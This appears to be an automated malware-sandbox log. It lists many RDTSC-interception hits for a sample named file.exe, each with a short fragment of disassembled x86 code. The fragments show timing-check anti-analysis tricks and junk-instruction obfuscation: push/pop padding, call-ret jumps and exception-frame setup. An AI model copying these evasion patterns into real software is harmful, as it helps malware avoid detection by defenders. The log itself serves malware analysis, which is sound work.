Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27C9C second address: A27CB1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jng 00007FD5E8DE1556h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27CB1 second address: A27CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27CB6 second address: A27CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27D48 second address: A27D5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C3FA second address: A2C400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C400 second address: A2C404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C404 second address: A2C408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27FD8 second address: A27FDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29009 second address: A290A9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FD5E8DE1558h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 call 00007FD5E8DE1565h 0x0000002d pop ebx 0x0000002e push dword ptr fs:[00000000h] 0x00000035 mov ebx, dword ptr [ebp+122D2BB6h] 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov di, bx 0x00000045 mov eax, dword ptr [ebp+122D140Dh] 0x0000004b mov di, 4922h 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push edx 0x00000054 call 00007FD5E8DE1558h 0x00000059 pop edx 0x0000005a mov dword ptr [esp+04h], edx 0x0000005e add dword ptr [esp+04h], 0000001Ch 0x00000066 inc edx 0x00000067 push edx 0x00000068 ret 0x00000069 pop edx 0x0000006a ret 0x0000006b jg 00007FD5E8DE155Ch 0x00000071 push eax 0x00000072 push edi 0x00000073 pushad 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26FB8 second address: A26FCE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007FD5E873B156h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FD5E873B15Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27FDC second address: A27FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D4A6 second address: A2D51D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, FF14h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FD5E873B158h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov ebx, 25F5F4BCh 0x00000031 or dword ptr [ebp+122D31B4h], eax 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007FD5E873B158h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FD5E873B165h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B6D6 second address: A2B6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C62F second address: A2C65B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007FD5E873B156h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jns 00007FD5E873B158h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD5E873B164h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E500 second address: A2E51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FD5E8DE155Ah 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FD5E8DE155Ch 0x00000014 jbe 00007FD5E8DE1556h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA651 second address: 9DA673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD5E873B167h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA673 second address: 9DA679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA679 second address: 9DA67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A322F7 second address: A322FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A322FB second address: A32312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B15Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32312 second address: A32316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A373A2 second address: A373AC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD5E873B156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A373AC second address: A373B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A373B2 second address: A373BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007FD5E873B156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A373BD second address: A373CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FD5E8DE1556h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A373CC second address: A373D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CE84 second address: A3CE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CE8A second address: A3CEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5E873B15Eh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CEA6 second address: A3CEC2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FD5E8DE155Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007FD5E8DE1556h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C77E second address: A3C782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C782 second address: A3C786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CA95 second address: A3CA9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40006 second address: A4000A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4000A second address: A4000E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40185 second address: A4018A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46252 second address: A46258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46258 second address: A4625E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4625E second address: A46298 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD5E873B156h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD5E873B168h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 push eax 0x00000017 pop eax 0x00000018 jnc 00007FD5E873B156h 0x0000001e pop ebx 0x0000001f push edx 0x00000020 jno 00007FD5E873B156h 0x00000026 pop edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A469C3 second address: A469E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD5E8DE1568h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46B6A second address: A46B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46B70 second address: A46B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E35 second address: A46E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E3B second address: A46E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jl 00007FD5E8DE1556h 0x0000000e jmp 00007FD5E8DE1565h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B20E second address: A4B213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B347 second address: A4B355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FD5E8DE1556h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B76A second address: A4B770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B770 second address: A4B774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B774 second address: A4B7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E873B165h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD5E873B15Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B7A4 second address: A4B7A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B7A8 second address: A4B7D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD5E873B168h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FD5E873B156h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B7D0 second address: A4B7D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BA9D second address: A4BAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BAA1 second address: A4BAA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BAA5 second address: A4BAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007FD5E873B156h 0x0000000d jp 00007FD5E873B156h 0x00000013 jmp 00007FD5E873B168h 0x00000018 popad 0x00000019 jl 00007FD5E873B161h 0x0000001f jmp 00007FD5E873B15Bh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD5E873B163h 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BD5E second address: A4BD83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E8DE1568h 0x00000009 pop edi 0x0000000a jp 00007FD5E8DE155Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C062 second address: A4C068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA050 second address: 9FA056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA056 second address: 9FA05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA05A second address: 9FA05E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C5BB second address: A4C5CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jc 00007FD5E873B156h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C5CB second address: A4C5CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4AF04 second address: A4AF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52D7B second address: A52D7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52D7F second address: A52D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD5E873B156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52D8B second address: A52D96 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007FD5E8DE1556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BAF second address: A51BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jc 00007FD5E873B156h 0x0000000c jng 00007FD5E873B156h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007FD5E873B156h 0x0000001b jmp 00007FD5E873B165h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BDF second address: A51BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BE3 second address: A51C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E873B15Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007FD5E873B156h 0x00000012 jmp 00007FD5E873B163h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c popad 0x0000001d push esi 0x0000001e pushad 0x0000001f push esi 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D7B second address: A51D7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52006 second address: A5200B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52192 second address: A521D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD5E8DE155Ch 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FD5E8DE1562h 0x00000012 pop eax 0x00000013 popad 0x00000014 push edx 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FD5E8DE1565h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52786 second address: A527CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD5E873B168h 0x0000000a jg 00007FD5E873B175h 0x00000010 jl 00007FD5E873B156h 0x00000016 jmp 00007FD5E873B169h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A527CB second address: A527E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 jl 00007FD5E8DE156Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD5E8DE155Ah 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57415 second address: A5741F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD5E873B156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5741F second address: A57423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57423 second address: A57429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57429 second address: A5743B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD5E8DE155Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B9BE second address: 9F9571 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD5E873B166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d lea eax, dword ptr [ebp+1247F75Bh] 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FD5E873B158h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d movsx edi, cx 0x00000030 nop 0x00000031 jmp 00007FD5E873B169h 0x00000036 push eax 0x00000037 pushad 0x00000038 jno 00007FD5E873B158h 0x0000003e push eax 0x0000003f jmp 00007FD5E873B15Bh 0x00000044 pop eax 0x00000045 popad 0x00000046 nop 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007FD5E873B158h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 0000001Ch 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 call dword ptr [ebp+122D3195h] 0x00000067 push eax 0x00000068 push edx 0x00000069 push ecx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BF10 second address: 86FCC1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD5E8DE1558h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or di, F68Bh 0x00000010 push dword ptr [ebp+122D008Dh] 0x00000016 mov dl, 42h 0x00000018 call dword ptr [ebp+122D390Ch] 0x0000001e pushad 0x0000001f stc 0x00000020 xor eax, eax 0x00000022 stc 0x00000023 mov edx, dword ptr [esp+28h] 0x00000027 add dword ptr [ebp+122D3622h], edi 0x0000002d mov dword ptr [ebp+122D2DA2h], eax 0x00000033 stc 0x00000034 mov esi, 0000003Ch 0x00000039 clc 0x0000003a add esi, dword ptr [esp+24h] 0x0000003e jmp 00007FD5E8DE155Dh 0x00000043 lodsw 0x00000045 mov dword ptr [ebp+122D317Dh], ebx 0x0000004b add eax, dword ptr [esp+24h] 0x0000004f clc 0x00000050 mov ebx, dword ptr [esp+24h] 0x00000054 sub dword ptr [ebp+122D317Dh], esi 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C2A7 second address: A1C2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 jo 00007FD5E873B15Ch 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FD5E873B158h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 pushad 0x00000031 mov bx, si 0x00000034 movzx ecx, bx 0x00000037 popad 0x00000038 mov cx, 07BCh 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 jno 00007FD5E873B156h 0x00000046 pop eax 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C699 second address: A1C6B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E8DE1569h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C6B7 second address: A1C6BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C9AC second address: A1C9BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C9BA second address: A1C9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C9C1 second address: A1C9C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
